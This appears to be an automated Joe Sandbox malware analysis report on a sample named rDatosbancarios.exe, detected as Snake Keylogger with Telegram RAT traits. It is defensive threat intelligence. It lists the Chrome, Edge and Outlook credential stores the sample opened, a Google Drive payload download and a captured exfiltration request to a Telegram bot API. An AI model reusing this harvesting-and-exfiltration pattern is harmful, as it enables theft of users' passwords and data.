Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: rDatosbancarios.exe PID: 664, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\rDatosbancarios.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0000000A.00000002.3065111248.0000000033D59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rDatosbancarios.exe PID: 664, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: rDatosbancarios.exe PID: 664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	4 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	215 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36668790 CryptUnprotectData,		10_2_36668790
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36668EF1 CryptUnprotectData,		10_2_36668EF1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%2011/03/2025%20/%2003:09:48%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49728 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49731 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49735 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49733 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49734 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49726 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 104.21.16.1:443

Source: rDatosbancarios.exe	Virustotal: Detection: 45%			Perma Link
Source: rDatosbancarios.exe	ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 0355F45Dh	10_2_0355F2C0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 0355F45Dh	10_2_0355F4AC
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 0355FC19h	10_2_0355F961
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F80D0Dh	10_2_35F80B30
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F816F8h	10_2_35F80B30
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F83308h	10_2_35F82EF0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F82D41h	10_2_35F82A90
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8D069h	10_2_35F8CDC0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8FBD9h	10_2_35F8F930
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8F781h	10_2_35F8F4D8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8F329h	10_2_35F8F080
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_35F80040
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8EED1h	10_2_35F8EC28
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8EA79h	10_2_35F8E7D0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8E621h	10_2_35F8E378
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8E1C9h	10_2_35F8DF20
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F83308h	10_2_35F82EE6
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8DD71h	10_2_35F8DAC8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8D919h	10_2_35F8D670
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F83308h	10_2_35F83236
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 35F8D4C1h	10_2_35F8D218
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666A3AFh	10_2_3666A0E0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36667EB5h	10_2_36667B78
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366625A9h	10_2_36662300
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36669280h	10_2_36668FB0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36663709h	10_2_36663460
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36667119h	10_2_36666E70
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666F13Fh	10_2_3666EE70
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36664D21h	10_2_36664A78
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366602E9h	10_2_36660040
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666BF0Fh	10_2_3666BC40
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36661CF9h	10_2_36661A50
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36669F1Fh	10_2_36669C50
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366648C9h	10_2_36664620
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366662D9h	10_2_36666030
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666DEFFh	10_2_3666DC30
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666ACCFh	10_2_3666AA00
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366632B1h	10_2_36663008
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36666CC1h	10_2_36666A18
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36660B99h	10_2_366608F0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666E38Fh	10_2_3666E0C0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36667571h	10_2_366672C8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36665179h	10_2_36664ED0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666C39Fh	10_2_3666C0D0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36662151h	10_2_36661EA8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666D14Fh	10_2_3666CE80
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36666733h	10_2_36666488
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666B15Fh	10_2_3666AE90
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36660741h	10_2_36660498
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666C82Fh	10_2_3666C560
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666A83Fh	10_2_3666A570
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36660FF1h	10_2_36660D48
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666E81Fh	10_2_3666E550
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36662A01h	10_2_36662758
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366679C9h	10_2_36667720
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666B5EFh	10_2_3666B320
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366655D1h	10_2_36665328
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666F5CFh	10_2_3666F300
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666D5DFh	10_2_3666D310
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666ECAFh	10_2_3666E9E0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666CCBFh	10_2_3666C9F0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 366618A1h	10_2_366615F8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36669A8Fh	10_2_366697C0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36665E81h	10_2_36665BD8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36661449h	10_2_366611A0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666DA6Fh	10_2_3666D7A0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36662E59h	10_2_36662BB0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666BA7Fh	10_2_3666B7B0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36665A29h	10_2_36665780
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 3666FA5Fh	10_2_3666F790
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB3E27h	10_2_36DB3B58
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB4E18h	10_2_36DB4B20
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB19A7h	10_2_36DB16D8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB95D0h	10_2_36DB92D8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB6AC8h	10_2_36DB67D0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB3997h	10_2_36DB36C8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBD8C0h	10_2_36DBD5C8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBADB8h	10_2_36DBAAC0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB22C7h	10_2_36DB1FF8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBA8F0h	10_2_36DBA5F8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB7DE8h	10_2_36DB7AF0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB42B7h	10_2_36DB3FE8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB52E0h	10_2_36DB4FE8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBEBE1h	10_2_36DBE8E8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBC0D8h	10_2_36DBBDE0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB0767h	10_2_36DB0498
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB6F90h	10_2_36DB6C98
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBDD88h	10_2_36DBDA90
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB2757h	10_2_36DB2488
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBB280h	10_2_36DBAF88
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB8778h	10_2_36DB8480
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB1087h	10_2_36DB0DB8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB82B0h	10_2_36DB7FB8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB57A8h	10_2_36DB54B0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBF0A8h	10_2_36DBEDB0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB3078h	10_2_36DB2DA8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBC5A0h	10_2_36DBC2A8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB9A98h	10_2_36DB97A0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBE250h	10_2_36DBDF58
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBB748h	10_2_36DBB450
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB1517h	10_2_36DB1248
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB8C40h	10_2_36DB8948
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB02E7h	10_2_36DB0040
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB6138h	10_2_36DB5E40
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBFA38h	10_2_36DBF740
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB47E8h	10_2_36DB4478
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB5C70h	10_2_36DB5978
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBF570h	10_2_36DBF278
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBCA68h	10_2_36DBC770
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB1E37h	10_2_36DB1B68
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB9F60h	10_2_36DB9C68
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB7458h	10_2_36DB7160
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB2BE7h	10_2_36DB2918
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBBC10h	10_2_36DBB918
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB9108h	10_2_36DB8E10
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB6600h	10_2_36DB6308
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBD3F8h	10_2_36DBD100
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB3507h	10_2_36DB3238
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBCF30h	10_2_36DBCC38
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBA428h	10_2_36DBA130
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB0BF7h	10_2_36DB0928
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DB7920h	10_2_36DB7628
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DBE718h	10_2_36DBE420
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36DDF21F
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36DDF228
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DE0800h	10_2_36DE0508
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then jmp 36DE0338h	10_2_36DE0040
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36E12A80
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36E12A70
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_36E12A21

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1VDKRd-c17oS52zp028IfAVUC5WknOEF- HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1VDKRd-c17oS52zp028IfAVUC5WknOEF-&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rDatosbancarios.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
rDatosbancarios.exe